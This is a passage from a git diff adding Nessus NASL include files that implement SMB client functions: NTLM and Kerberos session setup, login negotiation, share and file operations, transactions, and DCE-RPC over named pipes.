_null:1); + name = cstring (string:login, _null:1); + dom = cstring (string:domain, _null:1); + } + } + else + { + name = NULL; + pass = NULL; + dom = NULL; + } + securityblob = ntlmssp_auth_securityblob (password:pass,login:name,domain:dom,challenge:challenge); + if (isnull(securityblob)) + return NULL; + + # Security signatures are enabled only if server support them + # We use null session_key as we used LMv2 only + if (!session_get_mackey() && ((mode & NEGOTIATE_SECURITY_SIGNATURES_REQUIRED) || (mode & NEGOTIATE_SECURITY_SIGNATURES_ENABLED)) && (login)) + # session_set_mackey (key:crap(data:raw_string(0),length:16)); + session_set_mackey (key:securityblob[0]); + + securityblob = securityblob[1]; + + header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:session_key) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + + parameters = smb_parameters (data:parameters); + + # If strlen (securityblob) odd add 1 pad byte + if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + + data = securityblob + + cstring (string:nes_native_os) + + cstring (string:nes_native_lanman) + + cstring (string:domain); + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + code = get_header_nt_error_code (header:header); + if (code != STATUS_SUCCESS) + return NULL; + + uid = get_header_uid (header:header); + session_set_uid (uid:uid); + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters || (strlen(parameters) < 8)) + return NULL; + + guest = get_word (blob:parameters, pos:4); + session_set_guest (guest:guest); + + bloblength = get_word (blob:parameters, pos:6); + # We now parse/take information in SMB parameters + data = get_smb_data (smbblob:ret); + if (!data) + return NULL; + + if (strlen(data) < bloblength) + return NULL; + + securityblob = substr (data, 0, bloblength - 1); + + challenge = ntlmssp_parse_response (data:securityblob); + if (isnull(challenge) || (challenge != 0)) # Accept Completed + return NULL; + + return packet; +} + + + + +#---------------------------------------------------------# +# Function : smb_session_setup_andx # +# Description : Authenticate to the remote host # +#---------------------------------------------------------# + +function smb_session_setup_andx (session_key, dialect, challenge, mode, extended, login, password, domain, host, realm) +{ + local_var packet, ct, onlyv2; + + # If cleartext is prohibited we return NULL + ct = get_kb_item("SMB/dont_send_in_cleartext"); + if ((ct == "yes") && (!(mode & NEGOTIATE_SECURITY_CHALLENGE_RESPONSE))) return NULL; + + onlyv2 = get_kb_item ("SMB/dont_send_ntlmv1"); + + # If LANMAN2.1 protocol + if (protocol[dialect] == "LANMAN2.1") + { + if (onlyv2) return NULL; + + packet = smb_session_setup_andx_lanman_core (session_key:session_key, + login:login, + domain:domain, + password:password, + mode:mode, + challenge:challenge); + return packet; + } + # If NT LM 0.12 protocol + if (protocol[dialect] == "NT LM 0.12") + { + if (isnull (extended)) + { + packet = smb_session_setup_andx_ntlm_core (session_key:session_key, + login:login, + domain:domain, + password:password, + mode:mode, + challenge:challenge, + version:2); + + if (! packet ) + { + if (onlyv2) return NULL; + + packet = smb_session_setup_andx_ntlm_core (session_key:session_key, + login:login, + domain:domain, + password:password, + mode:mode, + challenge:challenge, + version:1); + } + return packet; + } + else + { + if ((extended == 2) && defined_func ("open_sock_kdc") && login && password) + { + # If Kerberos + packet = smb_session_setup_andx_kerberos_core (session_key:session_key, + login:login, + password:password, + host:host, + realm:realm, + mode:mode); + + if (!isnull (packet)) + return packet; + } + + # If NTLMSSP or if Kerberos failed + packet = smb_session_setup_andx_ntlmssp_core (session_key:session_key, + login:login, + password:password, + domain:domain, + mode:mode); + return packet; + } + } +} + + + + +#---------------------------------------------------------# +# Function : smb_login # +# Description : Negotiate authentication with remote # +# host. # +# Return : Return 1 on success , 0 on failure # +#---------------------------------------------------------# + +function smb_login (login,password,domain) +{ + local_var ret, code, flags2, header, parameters, data, unicode, SecurityBlob, ServerGUID; + local_var DialectIndex, SecurityMode, MaxBufferSize, SessionKey, Capabilities, EncryptionKeyLength, EncryptionKey, Extended; + local_var realm,host; + local_var spnego, michlist, DomainName, next, ServerName; + + host = realm = NULL; + + # + # First step : Protocol negotiation + # + ret = smb_negotiate_protocol (); + if (!ret) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + flags2 = get_header_flags2 (header:header); + if (flags2 & SMB_FLAGS2_32BIT_STATUS) + { + code = get_header_nt_error_code (header:header); + if (code != STATUS_SUCCESS) + return code; + } + else + { + code = get_header_dos_error_code (header:header); + if (code != NO_ERROR) + return code; + } + + code = get_header_command_code (header:header); + if (code != SMB_COM_NEGOTIATE) + return ERROR_BAD_COMMAND; + + # We must get unicode or not here + unicode = flags2 & SMB_FLAGS2_UNICODE_STRINGS; + + # We now parse/take information in SMB parameters + parameters = get_smb_parameters (smbblob:ret); + if (!parameters) + return NULL; + + # Negotiate protocol response parameters + # NT LM 0.12 LANMAN2.1 + # WORD DialectIndex; WORD DialectIndex; + # BYTE SecurityMode; WORD SecurityMode; + # WORD MaxMpxCount; WORD MaxBufferSize; + # WORD MaxNumberVCs; WORD MaxMpxCount; + # DWORD MaxBufferSize; BYTE MaxNumberVCs; + # DWORD MaxRawSize; WORD RawMode; + # DWORD SessionKey; DWORD SessionKey; + # DWORD Capabilities; WORD ServerTime; + # DWORD SystemTimeLow; WORD ServerDate; + # DWORD SystemTimeHigh; WORD ServerTimeZone; + # WORD ServerTimeZone; WORD EncryptionKeyLength; + # BYTE EncryptionKeyLength; WORD Reserved; + # WORD Reserved; + + DialectIndex = get_word (blob:parameters, pos:0); + + if (DialectIndex > (supported_protocol-1)) + { + # Bad server's response. Because it asks for an unsupported protocol + return NULL; + } + + Extended = NULL; + + if (protocol[DialectIndex] == "NT LM 0.12") + { + SecurityMode = get_byte (blob:parameters, pos:2); + MaxBufferSize = get_dword (blob:parameters, pos:7); + SessionKey = get_dword (blob:parameters, pos:15); + Capabilities = get_dword (blob:parameters, pos:19); + EncryptionKeyLength = get_byte (blob:parameters, pos:33); + + if (Capabilities & CAP_UNICODE) + session_set_unicode (unicode:1); + else + session_set_unicode (unicode:0); + + if ((SecurityMode & NEGOTIATE_SECURITY_SIGNATURES_REQUIRED) || (SecurityMode & NEGOTIATE_SECURITY_SIGNATURES_ENABLED)) + session_add_flags2 (flag:SMB_FLAGS2_SECURITY_SIGNATURE); + + if (Capabilities & CAP_EXTENDED_SECURITY) + session_add_flags2 (flag:SMB_FLAGS2_EXTENDED_SECURITY); + + # We now parse/take information in SMB parameters + data = get_smb_data (smbblob:ret); + if (!data) + return NULL; + + # Negotiate protocol response data for NTLM + # BYTE EncryptionKey[]; + # BYTE DomainName[]; // NULL terminated + # BYTE ServerName[]; // NULL terminated + + if (Capabilities & CAP_EXTENDED_SECURITY) + { + if (strlen(data) < 16) + return NULL; + ServerGUID = substr (data, 0, 15); + if ((strlen (data) > 16) && (login && password)) + { + SecurityBlob = substr (data, 16, strlen(data) - 1); + spnego = der_parse_spnego_init (sdata:SecurityBlob); + if (!isnull (spnego) && (spnego[3] != NULL)) + { + michlist = spnego[3]; + host = ereg_replace (pattern:"(.*)\$@.*", string:michlist, replace:"\1"); + realm = ereg_replace (pattern:".*\$@(.*)", string:michlist, replace:"\1"); + Extended = 2; # Kerberos + } + else + Extended = 1; + } + else + { + Extended = 1; # NTLMSSP + SecurityBlob = NULL; + } + } + else + { + if (EncryptionKeyLength != 0) + EncryptionKey = substr (data, 0, 7); # Allways 8 byte length + else + EncryptionKey = NULL; + + if (strlen(data) > 8) + DomainName = get_string (blob:data, pos:8); + + next = strlen(DomainName) + null_length(); + next += strlen(EncryptionKey); + + if (next < strlen(data)) + ServerName = get_string (blob:data, pos:next); + } + } + + else if (protocol[DialectIndex] == "LANMAN2.1") + { + #LANMAN2.1 does not support unicode + session_set_unicode (unicode:0); + + SecurityMode = get_word (blob:parameters, pos:2); + MaxBufferSize = get_word (blob:parameters, pos:4); + SessionKey = get_dword (blob:parameters, pos:11); + EncryptionKeyLength = get_word (blob:parameters, pos:21); + + # We now parse/take information in SMB parameters + data = get_smb_data (smbblob:ret); + if (!data) + return NULL; + + # BYTE EncryptionKey[]; + if (EncryptionKeyLength != 0) + EncryptionKey = substr (data, 0, 7); # Allways 8 byte length + else + EncryptionKey = NULL; + } + else + { + # Bad server's response. Because it asks for an unsupported protocol + return NULL; + } + + session_set_server_max_size (size:MaxBufferSize); + if (MaxBufferSize > (session_get_buffersize() - 0x100)) + session_set_buffersize(size:MaxBufferSize+0x100); + + ret = smb_session_setup_andx (session_key:SessionKey, dialect:DialectIndex, challenge:EncryptionKey, mode:SecurityMode, extended:Extended, login:login, password:password, domain:domain, host:host, realm:realm); + + if (isnull (ret)) + return 0; + else + return 1; +} + + + + +#---------------------------------------------------------# +# Function : smb_tree_connect_and_x # +# Description : Connects to a remote share # +#---------------------------------------------------------# + +function smb_tree_connect_and_x (share) +{ + local_var header, parameters, password, path, service, data, packet, ret, tid; + + header = smb_header (Command: SMB_COM_TREE_CONNECT_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:0xC) + + raw_word (w:1); # strlen (password) + + parameters = smb_parameters (data:parameters); + + password = raw_string (0x00); # NULL password / To change for share authentication + path = cstring (string:"\\", _null:1) + cstring (string:session_get_hostname(), _null:1) + cstring (string:"\", _null:1) + cstring (string:share); + service = ascii (string:"?????"); + + data = password + + path + + service; + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + # Some checks in the header first + header = get_smb_header (smbblob:ret); + if (!header) + return NULL; + + tid = get_header_tid (header:header); + session_set_tid (tid:tid); + + return ret; +} + + +#---------------------------------------------------------# +# Function : smb_create_and_x # +# Description : Connects to a remote file # +#---------------------------------------------------------# + +function smb_create_and_x (name, desired_access, flags_attributes, share_mode, create_disposition, create_options) +{ + local_var header, parameters, data, packet, ret, offset, fid, pad, filename; + + header = smb_header (Command: SMB_COM_NT_CREATE_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + pad = NULL; + if (session_is_unicode() == 1) + pad = raw_byte (b:0); + + filename = cstring (string:name); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_byte (b:0) + + raw_word (w:strlen(cstring(string:name,_null:1))) + + raw_dword (d:0x16) + # flags to change + raw_dword (d:0) + # root fid + raw_dword (d:desired_access) + # access mask + raw_dword (d:0) + raw_dword (d:0) + # allocation size + raw_dword (d:flags_attributes) + # file attributes + raw_dword (d:share_mode) + # share access + raw_dword (d:create_disposition) + # Disposition + raw_dword (d:create_options) + # create options + raw_dword (d:2) + # impersonation + raw_byte (b:3); # security flags + + parameters = smb_parameters (data:parameters); + + data = pad + filename; + + data = smb_data (data:data); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + parameters = get_smb_parameters (smbblob:ret); + if (!parameters || (strlen(parameters) < 63)) + return NULL; + + offset = get_word (blob:parameters, pos:2); + + ret = NULL; + ret[0] = get_word (blob:parameters, pos:5); # FID + ret[1] = substr (parameters, 55, 62); # SIZE + + return ret; +} + + +#---------------------------------------------------------# +# Function : smb_write_and_x # +# Description : writes to a remote pipe # +#---------------------------------------------------------# + +function smb_write_and_x (fid, offset, mode, data) +{ + local_var header, parameters, dat, packet, ret, pad; + + pad = raw_byte (b:0); + + header = smb_header (Command: SMB_COM_WRITE_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + # reserved + raw_word (w:0) + # andxoffset + raw_word (w:fid) + # fid + raw_dword (d:offset) + # offset + raw_dword (d:0xFFFFFFFF) + # reserved + raw_word (w:mode) + # write mode + raw_word (w:strlen (data)) + # remaining + raw_word (w:0) + # data length high + raw_word (w:strlen (data)) + # data length low + raw_word (w:64) + # data offset == 64 + raw_dword (d:0) ; # high offset + + parameters = smb_parameters (data:parameters); + + dat = pad + data; + + dat = smb_data (data:dat); + + packet = netbios_packet (header:header, parameters:parameters, data:dat); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + return 1; +} + + + +#---------------------------------------------------------# +# Function : smb_read_and_x # +# Description : reads on a remote pipe # +#---------------------------------------------------------# + +function smb_read_and_x (fid, offset, length) +{ + local_var header, parameters, data, packet, ret, pad, code; + + header = smb_header (Command: SMB_COM_READ_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + pad = raw_byte (b:0); + + parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + # reserved + raw_word (w:0) + # andxoffset + raw_word (w:fid) + # fid + raw_dword (d:offset) + # offset + raw_word (w:length) + # Max count low + raw_word (w:length) + # Min count + raw_dword (d:0xFFFFFFFF) + # Reserved or max count high ? + raw_word (w:length) + # Remaining + raw_dword (d:0) ; # high offset + + parameters = smb_parameters (data:parameters); + + data = pad + smb_data (data:NULL); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + header = get_smb_header (smbblob:ret); + if (isnull (header)) + return NULL; + + code = get_header_nt_error_code(header); + if ((code != STATUS_SUCCESS) && (code != STATUS_BUFFER_OVERFLOW)) + return NULL; + + if (strlen(ret) < (SMB_HDR_SIZE+14)) + return NULL; + + offset = get_word (blob:ret, pos:SMB_HDR_SIZE + 13); + length = get_word (blob:ret, pos:SMB_HDR_SIZE + 11); + + if (strlen(ret) < (offset+length)) + return NULL; + + data = substr (ret, offset, offset+length-1); + + return data; +} + + + +#---------------------------------------------------------# +# Function : smb_trans_and_x # +# Description : TransAndX Request # +#---------------------------------------------------------# + +function smb_trans_and_x (extra_parameters, transname, param, data, max_pcount, sendonly) +{ + local_var header, parameters, dat, packet, ret, pad, trans, p_offset, d_offset, plen, dlen, elen, pad2, socket; + + pad = pad2 = NULL; + if (session_is_unicode () == 1) + pad = raw_byte (b:0); + else + pad2 = raw_byte (b:0); + + header = smb_header (Command: SMB_COM_TRANSACTION, + Status: nt_status (Status: STATUS_SUCCESS)); + + trans = cstring (string:transname); + + p_offset = 66 + strlen(trans) + strlen (extra_parameters); + d_offset = p_offset + strlen (param); + + plen = strlen(param); + dlen = strlen(data); + elen = strlen(extra_parameters); + + parameters = raw_word (w:plen) + # total parameter count + raw_word (w:dlen) + # total data count + raw_word (w:max_pcount) + # Max parameter count + raw_word (w:0xFFFF) + # Max data count + raw_byte (b:0) + # Max setup count + raw_byte (b:0) + # Reserved + raw_word (w:0) + # Flags + raw_dword (d:0) + # Timeout + raw_word (w:0) + # Reserved + raw_word (w:plen) + # Parameter count + raw_word (w:p_offset) + # Parameter offset + raw_word (w:dlen) + # Data count + raw_word (w:d_offset) + # Data offset + raw_byte (b:elen/2) + # Setup count + raw_byte (b:0); # Reserved + + parameters += extra_parameters; + + parameters = smb_parameters (data:parameters); + + dat = pad + + trans + + pad2 + + raw_word (w:0) + + param + + data; + + dat = smb_data (data:dat); + + packet = netbios_packet (header:header, parameters:parameters, data:dat); + + if (isnull(sendonly)) + { + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + dat = get_smb_data (smbblob:ret); + if (isnull (dat)) + return NULL; + + dat = substr (dat, 1, strlen(dat)-1); + + return dat; + } + else + { + socket = session_get_socket(); + + send (socket:socket, data:packet); + + if (session_get_mackey()) + session_increase_sequencenumber(); + } +} + + + +#---------------------------------------------------------# +# Function : smb_trans2 # +# Description : Trans2 Request # +#---------------------------------------------------------# + +function smb_trans2 (param, data, max_pcount, command) +{ + local_var header, parameters, dat, packet, ret, pad, trans, p_offset, d_offset, plen, dlen, elen; + + header = smb_header (Command: SMB_COM_TRANSACTION2, + Status: nt_status (Status: STATUS_SUCCESS)); + + pad = raw_byte (b:0); + + p_offset = 66; + d_offset = p_offset + strlen (param); + + plen = strlen(param); + dlen = strlen(data); + + parameters = raw_word (w:plen) + # total parameter count + raw_word (w:dlen) + # total data count + raw_word (w:max_pcount) + # Max parameter count + raw_word (w:1000) + # Max data count + raw_byte (b:0) + # Max setup count + raw_byte (b:0) + # Reserved + raw_word (w:0) + # Flags + raw_dword (d:0) + # Timeout + raw_word (w:0) + # Reserved + raw_word (w:plen) + # Parameter count + raw_word (w:p_offset) + # Parameter offset + raw_word (w:dlen) + # Data count + raw_word (w:d_offset) + # Data offset + raw_byte (b:1) + # Setup count + raw_byte (b:0) + # Reserved + raw_word (w:command); # command + + parameters = smb_parameters (data:parameters); + + dat = pad + + param + + data; + + dat = smb_data (data:dat); + + packet = netbios_packet (header:header, parameters:parameters, data:dat); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + dat = get_smb_data (smbblob:ret); + if (isnull (dat)) + return NULL; + + dat = substr (dat, 1, strlen(dat)-1); + + return dat; +} + + +#---------------------------------------------------------# +# Function : smb_nt_trans # +# Description : NT Trans Request # +#---------------------------------------------------------# + +function smb_nt_trans (param, data, command, max_pcount, max_dcount) +{ + local_var header, parameters, dat, packet, ret, pad, trans, p_offset, d_offset, plen, dlen, elen; + + header = smb_header (Command: SMB_COM_NT_TRANSACT, + Status: nt_status (Status: STATUS_SUCCESS)); + + pad = raw_byte (b:0) + raw_word(w:0); + + p_offset = 76; + d_offset = p_offset + strlen (param); + + plen = strlen(param); + dlen = strlen(data); + + parameters = raw_byte (b:0) + # Max setup count + raw_word (w:0) + # Reserved + raw_dword (d:plen) + # total parameter count + raw_dword (d:dlen) + # total data count + raw_dword (d:max_pcount) + # Max parameter count + raw_dword (d:max_dcount) + # Max data count + raw_dword (d:plen) + # Parameter count + raw_dword (d:p_offset) + # Parameter offset + raw_dword (d:dlen) + # Data count + raw_dword (d:d_offset) + # Data offset + raw_byte (b:0) + # Setup count + raw_word (w:command); # command + + parameters = smb_parameters (data:parameters); + + dat = pad + + param + + data; + + dat = smb_data (data:dat); + + packet = netbios_packet (header:header, parameters:parameters, data:dat); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + dat = get_smb_data (smbblob:ret); + if (isnull (dat)) + return NULL; + + dat = substr (dat, 1, strlen(dat)-1); + + return dat; +} + + +#---------------------------------------------------------# +# Function : smb_trans_pipe # +# Description : TransAndX Pipe Request # +#---------------------------------------------------------# + +function smb_trans_pipe (fid, data, sendonly) +{ + local_var parameters, ret; + + parameters = raw_word (w:TRANS_PIPE) + + raw_word (w:fid); + + return smb_trans_and_x (extra_parameters:parameters, transname:"\PIPE\", param:NULL, data:data, max_pcount:0, sendonly:sendonly); +} + + +#---------------------------------------------------------# +# Function : smb_trans_lanman # +# Description : TransAndX LANMAN Request # +#---------------------------------------------------------# + +function smb_trans_lanman (data) +{ + return smb_trans_and_x (extra_parameters:NULL, transname:"\PIPE\LANMAN", param:data, data:NULL, max_pcount:8); +} + + +#---------------------------------------------------------# +# Function : smb_close # +# Description : Close a pipe # +# Return : 1 on success (else NULL) # +#---------------------------------------------------------# + +function smb_close (fid) +{ + local_var header, parameters, data, packet, ret; + + header = smb_header (Command: SMB_COM_CLOSE, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = raw_word (w:fid) + # FID + raw_dword (d:0xFFFFFFFF) ; # Last write (not specified) + + parameters = smb_parameters (data:parameters); + + data = smb_data (data:NULL); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + return 1; +} + + +#---------------------------------------------------------# +# Function : smb_logoff_andx # +# Description : Close a session # +# Return : 1 on success (else NULL) # +#---------------------------------------------------------# + +function smb_logoff_andx () +{ + local_var header, parameters, data, packet, ret; + + header = smb_header (Command: SMB_COM_LOGOFF_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = raw_byte (b:0xFF) + # No further command + raw_byte (b:0) + # Reserved + raw_word (w:0) ; # AndXOffset + + parameters = smb_parameters (data:parameters); + + data = smb_data (data:NULL); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + return 1; +} + + +#---------------------------------------------------------# +# Function : smb_tree_disconnect # +# Description : Close a tree # +# Return : 1 on success (else NULL) # +#---------------------------------------------------------# + +function smb_tree_disconnect () +{ + local_var header, parameters, data, packet, ret, tid; + + tid = session_get_tid (); + if (tid == 0) + return 1; + + header = smb_header (Command: SMB_COM_TREE_DISCONNECT, + Status: nt_status (Status: STATUS_SUCCESS)); + + parameters = smb_parameters (data:NULL); + + data = smb_data (data:NULL); + + packet = netbios_packet (header:header, parameters:parameters, data:data); + + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + session_set_tid (tid:0); + + return 1; +} diff --git a/content/WinVA/plugins/smb_dcerpc.inc b/content/WinVA/plugins/smb_dcerpc.inc new file mode 100644 index 0000000..0370b6a --- /dev/null +++ b/content/WinVA/plugins/smb_dcerpc.inc @@ -0,0 +1,245 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_dcerpc.inc +# $Revision: 1.1 $ +# + + + +function dce_rpc (type,cid,data,flags) +{ + local_var packet, flag; + + if (isnull(flags)) + flag = 3; # FIRST fragment, LAST fragment + else + flag = flags; + + packet = raw_byte (b:5) + # version + raw_byte (b:0) + # version (minor) + raw_byte (b:type) + # packet type + raw_byte (b:flag) + # packet flags + raw_dword (d:16) + # data representation (little-endian/ascii) + raw_word (w:16+strlen(data)) + # Frag length + raw_word (w:0) + # auth length + raw_dword (d:cid) + # caller ID + data; + + return packet; +} + + +function dce_rpc_bind (cid, uuid, vers) +{ + local_var packet; + + packet = raw_word (w:4280) + # Max Xmit Frag + raw_word (w:4280) + # Max recv Frag + raw_dword (d:0) + # Assoc group + raw_dword (d:1) + # Num context items + raw_word (w:0) + # Context ID + raw_word (w:1) + # num trans item + encode_uuid (uuid:uuid) + # Interface uuid + raw_word (w:vers) + # interface version + raw_word (w:0) + # interface version (minor) + encode_uuid (uuid:"8a885d04-1ceb-11c9-9fe8-08002b104860") + + raw_dword (d:2) ; # syntax version + + return dce_rpc (type:DCE_RPC_BIND, cid:cid, data:packet); +} + + +function dce_rpc_parse_bind_ack (data) +{ + local_var len, res; + + if (strlen (data) < 26) + return NULL; + len = get_word (blob:data, pos:24); + if ((len%2) != 0) + len += 1; # byte padding + + if (strlen (data) < 26+len+4) + return NULL; + + res = get_word (blob:data, pos:26+len+4); + return res; +} + + +function dce_rpc_request (code, data, flags, id) +{ + local_var packet, cid; + + if (isnull(id)) + cid = session_get_cid(); + else + cid = id; + + packet = raw_dword (d:strlen(data)) + # Alloc hint + raw_word (w:0) + # Context ID + raw_word (w:code) + # Opnum + data; + + if (isnull(flags)) + return dce_rpc (type:DCE_RPC_REQUEST, cid:cid, data:packet); + else + return dce_rpc (type:DCE_RPC_REQUEST, cid:cid, data:packet, flags); +} + + +function dce_rpc_pipe_request (fid, code, data) +{ + local_var tmp, rep, len, flag, ret, offset, cid, dat, size; + + size = session_get_server_max_size() - 110; + cid = session_get_cid(); + offset = 0; + + if (strlen(data) > size) + { + flag = 1; # FIRST fragment + tmp = substr (data, 0, size-1); + len = size; + } + else + { + flag = 3; # FIRST fragment, LAST fragment + tmp = data; + len = strlen(data); + } + + rep = smb_trans_pipe (fid:fid, data:dce_rpc_request (code:code, data:tmp, flags:flag, id:cid), sendonly:TRUE); + + while (len < strlen(data)) + { + if ((len + size) < strlen(data)) + { + flag = 0; + tmp = substr (data, len, len+size-1); + len += size; + } + else + { + flag = 2; + tmp = substr (data, len, strlen(data)-1); + len += strlen(data) - len; + } + + ret = smb_write_and_x (fid:fid, offset:offset, mode:WRITE_START, data:dce_rpc_request (code:code, data:tmp, flags:flag, id:cid)); + if (isnull (ret) || (ret != 1)) + return NULL; + + offset += strlen(tmp); + } + + ret = smb_recv (); + if (!ret) + return NULL; + + if (smb_check_success (data:ret) == FALSE) + return NULL; + + dat = get_smb_data (smbblob:ret); + if (isnull (dat)) + return NULL; + + dat = substr (dat, 1, strlen(dat)-1); + + return dat; +} + + +function dce_rpc_parse_response (fid, data) +{ + local_var resp, flag, len, alloc, tmp, dat; + + if (strlen (data) < 24) + return NULL; + + flag = get_byte (blob:data, pos:3); + len = get_word (blob:data, pos:8) - 24; + alloc = get_dword (blob:data, pos:16); + + if (strlen (data) < (24 + len)) + return NULL; + + resp = substr (data, 24, 24 + len - 1); + + # If it is not the last dce_rpc packet we continue to read + while (!(flag & 2)) + { + # we read only 1000 bytes at a time + tmp = smb_read_and_x (fid:fid, offset:0, length:1024); + if (strlen (tmp) < 24) + return NULL; + + flag = get_byte (blob:tmp, pos:3); + len = get_word (blob:tmp, pos:8); + alloc = get_dword (blob:tmp, pos:16); + + while (strlen (tmp) < len) + { + dat = smb_read_and_x (fid:fid, offset:0, length:1024); + if (!dat) + return NULL; + tmp += dat; + } + + resp += substr (tmp, 24, 24 + len - 1); + } + + return resp; +} + + + +function bind_pipe (pipe, uuid, vers) +{ + local_var fid, ret, data; + + ret = smb_create_and_x (name:pipe, + desired_access:FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | + FILE_READ_EA | FILE_WRITE_EA | + FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES, + flags_attributes:0, + share_mode:FILE_SHARE_READ | FILE_SHARE_WRITE, + create_disposition:OPEN_EXISTING, + create_options:0x40); + if (isnull(ret)) + return NULL; + + fid = ret[0]; + + ret = smb_write_and_x (fid:fid, offset:0, mode:WRITE_START, data:dce_rpc_bind(cid:session_get_cid(), uuid:uuid, vers:vers)); + if (isnull (ret) || (ret != 1)) + return NULL; + + data = smb_read_and_x (fid:fid, offset:0, length:1024); + if (!data) + return NULL; + + ret = dce_rpc_parse_bind_ack (data:data); + if (isnull (ret) || (ret != 0)) + return NULL; + + return fid; +} + + diff --git a/content/WinVA/plugins/smb_file.inc b/content/WinVA/plugins/smb_file.inc new file mode 100644 index 0000000..fd8ded1 --- /dev/null +++ b/content/WinVA/plugins/smb_file.inc @@ -0,0 +1,481 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_file.inc +# $Revision: 1.1 $ +# + + +#==================================================================# +# Section 8. File API # +#==================================================================# + + + +function get_win32_find_data_filename (struct) +{ + local_var len; + + if (strlen(struct) < 94) + return NULL; + + len = get_dword (blob:struct, pos:60); + if (strlen(struct) < 94 + len) + return NULL; + + return get_string2 (blob:struct, pos:94, len:len); +} + + +function get_win32_find_data_fileattributes (struct) +{ + local_var len; + + if (strlen(struct) < 94) + return NULL; + + return get_dword (blob:struct, pos:56); +} + + +#---------------------------------------------------------# +# Function : FindFirstFile # +# Description : Return First file in WIN32_FIND_DATA # +# Return : ret[0] = file handle # +# ret[1] = file name # +# ret[2] = file attributes # +# full handle = ret (to use with NextFile) # +#---------------------------------------------------------# + +function FindFirstFile (pattern) +{ + local_var ret, parameters, search_id, search_count, end_of_search, ea_error_offset, last_name_offset; + local_var pad, data, index, pos, file_struct, size; + + parameters = raw_word (w:0x16) + # Default search : include HIDDEN/SYSTEM/DIRECTORY + raw_word (w:0xFFFF) + # Max buffer search count + raw_word (w:6) + # Close if EOS is reached / RESUME + raw_word (w:260) + # Default level of interest + raw_dword (d:0) + # Storage type + cstring (string:pattern); + + ret = smb_trans2 (param:parameters, data:NULL, max_pcount:18, command:1); + if (!ret || (strlen (ret) < 14)) + return NULL; + + # FIND_FIRST2 Parameters + search_id = get_word (blob:ret, pos:0); + search_count = get_word (blob:ret, pos:2); + end_of_search = get_word (blob:ret, pos:4); + ea_error_offset = get_word (blob:ret, pos:6); + last_name_offset = get_word (blob:ret, pos:8); + + # Padding + pad = get_word (blob:ret, pos:10); + + # FIND_FIRST2 Data + data = substr (ret, 12, strlen(ret)-1); + + # If no data we quit + if (search_count <= 0) + return NULL; + + index = 1; + pos = 0; + + # FIND_FIRST2 Data + size = get_word (blob:data, pos:pos); + if (strlen (data) < size) + return NULL; + + file_struct = substr (data, pos, pos+size-1); + + pos += size; + index++; + + ret = NULL; + 